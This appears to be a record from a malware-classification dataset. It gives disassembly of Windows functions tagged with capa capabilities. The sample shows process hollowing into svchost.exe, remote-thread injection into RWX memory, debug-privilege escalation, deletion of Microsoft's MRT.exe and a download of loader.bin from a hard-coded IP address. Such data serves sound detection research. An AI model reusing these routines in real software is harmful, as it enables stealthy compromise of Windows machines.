joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b1580
Capabilities:
Read file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov r12, qword [0x140115840]
mov rax, qword [r12]
mov qword [rsp + 0x28], rax
mov rax, qword [rcx + 8]
mov r13, rcx
test rax, rax
je 0x1400b15d0
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400b1664
mov rcx, qword [rcx]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp rax
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
mov ebx, 4
lea rsi, [rsp + 0x24]
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
nop dword [rax + rax]
mov ecx, dword [r13 + 0x10]
mov r8d, ebx
mov rdx, rsi
call rdi
test eax, eax
jle 0x1400b1630
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400b15f0
mov eax, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400b1664
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0xffffffff
jne 0x1400b165b
call rbp
mov r14, rbp
cmp dword [rax], 4
je 0x1400b15f0
call r14
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400b1664
mov ecx, dword [rax]
lea rdx, str.random_device_could_not_be_read
call method.std._anonymous_namespace_::__throw_syserr_int__char_const_
mov r14, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
jmp 0x1400b163f
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
Function at 0x140108c70
Capabilities:
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov rsi, qword [0x140115840]
lea rcx, [0x14010aa00]
movabs rbp, 0x2e78786362696c67
movabs r13, 0x6c6f6f705f68652e
mov rdx, qword [rsi]
mov qword [rsp + 0x68], rdx
xor edx, edx
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x14010aa18], 0
movups xmmword [0x14010aa08], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x140108d35
jmp 0x140108df7
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x140108d98
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rbp
jne 0x140108d20
cmp qword [rbx + 7], r13
jne 0x140108d20
cmp byte [rbx + 0xf], 0x2e
jne 0x140108d20
add rbx, 0x10
lea r12, [rsp + 0x30]
lea r14, [rsp + 0x60]
mov rdi, qword [r12]
test rdi, rdi
je 0x140108d7c
mov rcx, qword [r12 + 8]
mov r8, rdi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x140108d86
cmp byte [rbx + rdi], 0x3d
je 0x140108e2d
add r12, 0x18
cmp r14, r12
jne 0x140108d5f
jmp 0x140108d20
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x14010aa18], rbx
jne 0x140108e07
mov rax, qword [rsp + 0x68]
sub rax, qword [rsi]
jne 0x140108e74
lea rcx, [sym.__tcf_0]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp dbg.atexit
mov qword [0x14010aa18], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x14010aa10], rax
test rax, rax
je 0x140108e66
xor edx, edx
mov qword [0x14010aa08], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x140108dcf
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rdi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x140108e54
test dl, dl
jne 0x140108d20
test eax, eax
js 0x140108d20
mov dword [r12 + 0x10], eax
jmp 0x140108d20
xor ecx, ecx
mov qword [0x14010aa18], rcx
jmp 0x140108dcf
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400016c0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000180c
lea rdx, str.NtClose
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
mov qword [0x1400420a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140042070], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitUnicodeString
mov rcx, rbx
mov qword [0x140042048], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationProcess
mov rcx, rbx
mov qword [0x140042040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rbx
mov qword [0x140042088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov qword [0x140042068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov qword [0x140042098], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteFile
mov rcx, rbx
mov qword [0x1400420b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1400420a8], 0
mov qword [0x140042060], rax
je 0x140001803
cmp qword [0x140042070], 0
je 0x140001803
cmp qword [0x140042048], 0
je 0x140001803
cmp qword [0x140042040], 0
je 0x140001803
cmp qword [0x140042088], 0
je 0x140001803
cmp qword [0x140042068], 0
je 0x140001803
cmp qword [0x140042098], 0
je 0x140001803
cmp qword [0x1400420b8], 0
je 0x140001803
test rax, rax
jne 0x14000180c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x20
pop rbx
ret

Function at 0x140001814
Capabilities:
Parse pe header

Disassembly:
mov r9d, 0x5a4d
mov r8d, 0x400
mov r10d, 0x4550
test rcx, rcx
je 0x140001848
cmp word [rcx], r9w
jne 0x140001848
cmp dword [rcx + 0x3c], r8d
jg 0x140001848
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], r10d
jne 0x140001848
movzx edx, word [rax + rcx + 4]
jmp 0x14000184a
xor edx, edx
test rcx, rcx
je 0x140001870
cmp word [rcx], r9w
jne 0x140001870
cmp dword [rcx + 0x3c], r8d
jg 0x140001870
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x140001870
mov ecx, 0x8664
mov eax, dword [rax + 0x28]
ret
xor eax, eax
ret
Function at 0x140001aa4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x520
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov esi, edx
mov rdi, rcx
xor r14d, r14d
mov word [rbp + 0x200], r14w
mov ebx, 0x206
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x202]
call fcn.14000a0f0
mov word [rbp - 0x10], r14w
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0xe]
call fcn.14000a0f0
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x200]
xor r8d, r8d
lea rdx, [0x140025bac]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rcx, [0x140025ba0]
call fcn.14000a320
mov r8, rax
lea rdx, [0x140025ba0]
lea rcx, [rbp - 0x68]
call fcn.1400023f4
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x68]
call fcn.140002280
mov word [rbp - 0x48], r14w
xor eax, eax
mov qword [rbp - 0x46], rax
mov dword [rbp - 0x3e], eax
mov word [rbp - 0x3a], ax
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x48]
call qword [0x140042040]
xor edx, edx
lea r8d, [r14 + 0x28]
lea rcx, [rsp + 0x68]
call fcn.14000a0f0
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x78], 0x40
lea rax, [rbp - 0x48]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x20], r14
xor eax, eax
mov qword [rbp - 0x18], rax
or r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x20]
lea r8, [rsp + 0x60]
mov edx, 0xc0110000
lea rcx, [rsp + 0x58]
call qword [0x1400420b8]
test eax, eax
jns 0x140001c37
cmp qword [rbp - 0x50], 8
jb 0x140001cdc
mov rcx, qword [rbp - 0x68]
call fcn.140006500
jmp 0x140001cdc
mov rbx, qword [rsp + 0x58]
cmp qword [rbp - 0x50], 8
jb 0x140001c4c
mov rcx, qword [rbp - 0x68]
call fcn.140006500
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001cdc
mov qword [rbp - 0x30], r14
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x70], 1
mov dword [rsp + 0x20], 0xd
lea r9d, [rcx + 1]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [0x140042048]
test eax, eax
js 0x140001cdc
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [0x140042060]
test eax, eax
jns 0x140001cd7
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001cdc
mov rax, rbx
jmp 0x140001cdf
mov rax, r15
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400099a0
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001d08
Capabilities:
Get file size
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x50], rax
and qword [r11 - 0x28], 0
mov qword [r11 - 0x38], rcx
mov rbx, rcx
lea rcx, [r11 - 0x28]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [0x140042098]
test eax, eax
je 0x140001d5e
or rax, 0xffffffffffffffff
jmp 0x140001ddb
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
lea edi, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x140001db8
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [0x140025bb4]
mov r8d, 8
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub edi, dword [rsp + 0x48]
mov rcx, rbx
cmp edi, 8
ja 0x140001d82
call qword [0x1400420a8]
mov rdx, qword [rsp + 0x40]
or rax, 0xffffffffffffffff
lea rcx, [rdx - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rax, rdx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400099a0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140001df4
Capabilities:
Parse pe header
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r15d, r15d
xor edx, edx
mov r8d, 0x206
mov rsi, r9
mov word [rbp], r15w
call fcn.14000a0f0
lea rdx, [rbp]
mov rcx, rdi
call fcn.140004eb8
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000a300
lea r14, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x68], r15
cmove r14, r15
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140042038], rax
test rax, rax
je 0x140001fe8
lea r8d, [r15 + 0x60]
lea rcx, [rbp - 0x68]
xor edx, edx
call fcn.14000a0f0
lea r8d, [r15 + 0x18]
lea rcx, [rsp + 0x68]
xor edx, edx
mov dword [rbp - 0x70], 0x68
call fcn.14000a0f0
lea rdx, str.__k_DcomLaunch__p__s_LSM
mov rcx, rdi
mov qword [rbp - 0x80], r15
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov r8, rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x800000c
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [0x140042038]
test eax, eax
je 0x140001fe8
mov rdx, qword [rsp + 0x68]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x28], r15
mov qword [rbp - 0x78], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x20], r15
call qword [0x140042070]
test eax, eax
je 0x140001f81
cmp eax, 0x40000003
jne 0x140001fe8
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140001fe8
test rbx, rbx
je 0x140001fbf
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001fbf
cmp dword [rbx + 0x3c], 0x400
jg 0x140001fbf
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140001fbf
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140001fc2
mov al, r15b
test al, al
lea r8, [rsp + 0x68]
mov rcx, rbx
sete r9b
call fcn.140001928
test al, al
je 0x140001fe8
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x140001fea
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1400099a0
mov rbx, qword [rsp + 0x360]
add rsp, 0x320
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002010
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x1400021c3
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x140042080], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140042030], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140042050], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x140042078], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x140042090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x1400420b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
mov qword [0x140042058], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.14000a0f0
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_svchost.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 2]
mov qword [rsp + 0x28], rdi
mov rbx, rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rbx
test rax, rax
jne 0x1400021eb
call qword [0x1400422a0]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0x40]
mov r8, rax
call fcn.140004e00
mov rsi, rax
test rax, rax
je 0x1400021c3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.140001aa4
mov rcx, rax
call fcn.140001d08
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.140001df4
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [0x1400421e8]
test bl, bl
setne dil
mov eax, edi
jmp 0x1400021c6
Function at 0x1400034b0
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov edi, r8d
mov esi, dword [0x1400423d4]
mov r14, qword [0x1400422c0]
xor r15d, r15d
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
xor eax, eax
mov qword [rbp - 0x38], rax
lea ebx, [rax + 1]
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r15
mov word [rbp - 0x30], r15w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x48]
lea edx, [rbx + 0x27]
call qword [0x140042200]
test eax, eax
je 0x14000357b
mov dword [rbp - 0x40], ebx
mov dword [rbp - 0x34], 2
lea r8, [rbp - 0x3c]
lea rdx, [0x140026180]
xor ecx, ecx
call qword [0x140042210]
test eax, eax
je 0x140003571
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [0x1400421b8]
mov rcx, qword [rbp - 0x48]
call qword [0x1400422a0]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140003598
mov ebx, r15d
jmp 0x1400035c6
mov r8d, esi
mov rdx, r14
mov rcx, rax
call fcn.140003834
test rax, rax
jne 0x1400035b0
mov ebx, r15d
jmp 0x1400035bc
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, ebx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140003750
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x1400037f3
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x1400037f3
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.1400036e4
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.1400036e4
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.1400036e4
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x1400037ef
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.1400036e4
lea rdx, [0x140026198]
mov ecx, eax
add rcx, rbx
call fcn.14000a978
test rax, rax
jne 0x140003810
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x1400037c5
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.1400036e4
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.1400036e4
jmp 0x1400037f5
Function at 0x140003834
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x140003928
test rdx, rdx
je 0x140003928
test r8d, r8d
je 0x140003928
mov rcx, rdx
call fcn.140003750
mov r12d, eax
test eax, eax
je 0x140003928
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003928
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003928
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140003928
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x140003931
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400099a0
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003b50
Capabilities:
Create thread
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rsi
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov edx, 0x104
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor esi, esi
test eax, eax
je 0x140003bb4
lea r8, str.MRT.exe
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.14000cbb8
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.1400054c4
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x14000396c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, str.http:__176.111.174.140_api_loader.bin
call fcn.14000a320
mov r8, rax
lea rdx, str.http:__176.111.174.140_api_loader.bin
lea rcx, [rsp + 0x30]
call fcn.1400023f4
nop
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
lea rcx, str.http:__176.111.174.140_api_loader.bin
call fcn.14000a320
mov r8, rax
lea rdx, str.http:__176.111.174.140_api_loader.bin
lea rcx, [rsp + 0x50]
call fcn.1400023f4
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000327c
mov qword [0x1400422c0], rax
call fcn.140005d34
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003954]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003c8c